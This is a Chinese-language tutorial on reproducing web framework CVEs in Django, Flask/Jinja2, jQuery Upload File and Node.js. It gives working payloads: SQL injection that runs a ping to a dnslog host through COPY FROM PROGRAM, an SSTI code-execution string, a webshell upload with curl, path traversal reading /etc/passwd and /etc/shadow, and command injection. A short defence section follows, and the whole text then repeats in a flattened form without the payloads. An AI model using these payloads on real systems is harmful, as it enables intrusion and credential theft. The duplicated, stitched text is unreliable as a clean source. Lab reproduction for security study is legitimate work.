框架安全-CVE 复现&Django&Flask&Node.js&JQuery漏洞复现
字数 1903 2025-08-10 08:54:01

Web框架与中间件安全漏洞复现教学文档

1. 开发框架与中间件概述

1.1 常见中间件列表

  • IIS, Apache, Nginx, Tomcat
  • Docker, K8s
  • Weblogic, JBoss, WebSphere
  • Jenkins, GlassFish, Jetty, Jira
  • Struts2, Laravel, Solr, Shiro
  • Thinkphp, Spring, Flask, jQuery等

1.2 常见开发框架分类

PHP框架

  • Thinkphp, Laravel, YII, CodeIgniter, CakePHP, Zend

Java框架

  • Spring, MyBatis, Hibernate, Struts2, Springboot

Python框架

  • Django, Flask, Bottle, Turbobars, Tornado, Web2py

JavaScript框架

  • Vue.js, Node.js, Bootstrap, JQuery, Angular

2. 安全测试流程

2.1 中间件安全测试流程

  1. 判断中间件信息:名称、版本、三方组件
  2. 判断中间件问题:配置不当、公开漏洞
  3. 判断中间件利用方式:弱口令、EXP、框架漏洞

2.2 应用服务安全测试流程

  1. 判断服务开放情况:端口扫描、组合应用
  2. 判断服务类型归属:数据库、文件传输、通讯等
  3. 判断服务利用方式:特定漏洞、未授权、弱口令等

2.3 开发框架组件安全测试流程

  1. 判断常见语言开发框架类型
  2. 判断开发框架存在的CVE问题

3. Python框架漏洞复现

3.1 Django框架

3.1.1 CVE-2019-14234 - JSONField/HStoreField SQL注入漏洞

漏洞条件

  • 使用JSONField/HStoreField
  • 可控制QuerySet的字段名称

复现步骤

  1. 访问Django-Admin登录页面:http://your-ip:8000/admin/

    • 默认账号:admin
    • 默认密码:a123123123
  2. 访问模型列表视图:http://your-ip:8000/admin/vuln/collection/

  3. 构造注入Payload:

    /admin/vuln/collection/?detail__a%27b=123
    
  4. 创建cmd_exec表:

    /admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20
    
  5. 执行命令(DNSlog验证):

    /admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20
    

3.1.2 CVE-2021-35042 - QuerySet.order_by SQL注入漏洞

漏洞条件

  • 使用order_by功能
  • 可控制查询集的输入

复现步骤

  1. 基础验证:

    /vuln/order=-id
    
  2. 信息泄露Payload:

    • 查看目录:
      /vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20@@basedir)),1)%23
      
    • 查看版本:
      /vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20version())),1)%23
      
    • 查看数据库名:
      /vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat(0x7e,(select%20database())),1)%23
      

3.2 Flask框架

3.2.1 Jinja2 SSTI漏洞

复现步骤

  1. 基础验证:

    http://your-ip/?name={{123*123}}
    
  2. 执行任意Python代码:

    • 需要进行URL编码
    • 示例Payload(查看系统信息):
      {{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
      

4. JavaScript框架漏洞复现

4.1 jQuery框架

4.1.1 CVE-2018-9207 - jQuery Upload File任意文件上传

影响版本:<= 4.0.2

复现步骤

  1. 访问上传页面:/jquery-upload-file/

  2. 使用curl上传文件:

    curl -F "myfile=@shell.php" "http://target-ip:port/jquery-upload-file/php/upload.php"
    
  3. 访问上传文件:

    /jquery-upload-file/php/uploads/shell.php
    

4.2 Node.js框架

4.2.1 CVE-2017-14849 - 目录穿越漏洞

影响版本:Node.js 8.5.0 - 8.6.0之前

复现步骤

  1. 构造请求读取/etc/passwd:

    GET /static/a/etc/passwd HTTP/1.1
    Host: target-ip:port
    
  2. 读取其他敏感文件(如/etc/shadow):

    GET /static/a/etc/shadow HTTP/1.1
    Host: target-ip:port
    

4.2.2 CVE-2021-21315 - systeminformation命令注入

复现步骤

  1. 构造命令执行Payload:

    /api/getServices?name[]=$(echo%20%27rumilc666%27%20>%20rumi.txt)
    
  2. 验证命令执行结果:

    • 检查服务器上是否创建了rumi.txt文件

5. 漏洞防御建议

  1. Django

    • 及时更新到最新版本
    • 避免直接使用用户输入构造查询
    • 使用ORM的安全查询方法
  2. Flask

    • 对用户输入进行严格过滤
    • 避免在模板中直接执行用户输入
    • 使用Jinja2的沙箱环境
  3. jQuery

    • 限制上传文件类型
    • 对上传文件进行重命名
    • 存储上传文件在非web可访问目录
  4. Node.js

    • 更新到安全版本
    • 对用户输入进行严格验证
    • 使用安全的路径处理方法

6. 测试工具与环境

  1. 靶场环境

    • Vulhub:https://github.com/vulhub/vulhub
    • Vulfocus:https://github.com/vulfocus/vulfocus
  2. 常用工具

    • Burp Suite
    • curl
    • DNSlog平台
    • 中国蚁剑/菜刀(Webshell管理)
Web框架与中间件安全漏洞复现教学文档 1. 开发框架与中间件概述 1.1 常见中间件列表 IIS, Apache, Nginx, Tomcat Docker, K8s Weblogic, JBoss, WebSphere Jenkins, GlassFish, Jetty, Jira Struts2, Laravel, Solr, Shiro Thinkphp, Spring, Flask, jQuery等 1.2 常见开发框架分类 PHP框架 Thinkphp, Laravel, YII, CodeIgniter, CakePHP, Zend Java框架 Spring, MyBatis, Hibernate, Struts2, Springboot Python框架 Django, Flask, Bottle, Turbobars, Tornado, Web2py JavaScript框架 Vue.js, Node.js, Bootstrap, JQuery, Angular 2. 安全测试流程 2.1 中间件安全测试流程 判断中间件信息:名称、版本、三方组件 判断中间件问题:配置不当、公开漏洞 判断中间件利用方式:弱口令、EXP、框架漏洞 2.2 应用服务安全测试流程 判断服务开放情况:端口扫描、组合应用 判断服务类型归属:数据库、文件传输、通讯等 判断服务利用方式:特定漏洞、未授权、弱口令等 2.3 开发框架组件安全测试流程 判断常见语言开发框架类型 判断开发框架存在的CVE问题 3. Python框架漏洞复现 3.1 Django框架 3.1.1 CVE-2019-14234 - JSONField/HStoreField SQL注入漏洞 漏洞条件 : 使用JSONField/HStoreField 可控制QuerySet的字段名称 复现步骤 : 访问Django-Admin登录页面: http://your-ip:8000/admin/ 默认账号:admin 默认密码:a123123123 访问模型列表视图: http://your-ip:8000/admin/vuln/collection/ 构造注入Payload: 创建cmd_ exec表: 执行命令(DNSlog验证): 3.1.2 CVE-2021-35042 - QuerySet.order_ by SQL注入漏洞 漏洞条件 : 使用order_ by功能 可控制查询集的输入 复现步骤 : 基础验证: 信息泄露Payload: 查看目录: 查看版本: 查看数据库名: 3.2 Flask框架 3.2.1 Jinja2 SSTI漏洞 复现步骤 : 基础验证: 执行任意Python代码: 需要进行URL编码 示例Payload(查看系统信息): 4. JavaScript框架漏洞复现 4.1 jQuery框架 4.1.1 CVE-2018-9207 - jQuery Upload File任意文件上传 影响版本 : <= 4.0.2 复现步骤 : 访问上传页面: /jquery-upload-file/ 使用curl上传文件: 访问上传文件: 4.2 Node.js框架 4.2.1 CVE-2017-14849 - 目录穿越漏洞 影响版本 :Node.js 8.5.0 - 8.6.0之前 复现步骤 : 构造请求读取/etc/passwd: 读取其他敏感文件(如/etc/shadow): 4.2.2 CVE-2021-21315 - systeminformation命令注入 复现步骤 : 构造命令执行Payload: 验证命令执行结果: 检查服务器上是否创建了rumi.txt文件 5. 漏洞防御建议 Django : 及时更新到最新版本 避免直接使用用户输入构造查询 使用ORM的安全查询方法 Flask : 对用户输入进行严格过滤 避免在模板中直接执行用户输入 使用Jinja2的沙箱环境 jQuery : 限制上传文件类型 对上传文件进行重命名 存储上传文件在非web可访问目录 Node.js : 更新到安全版本 对用户输入进行严格验证 使用安全的路径处理方法 6. 测试工具与环境 靶场环境 : Vulhub:https://github.com/vulhub/vulhub Vulfocus:https://github.com/vulfocus/vulfocus 常用工具 : Burp Suite curl DNSlog平台 中国蚁剑/菜刀(Webshell管理)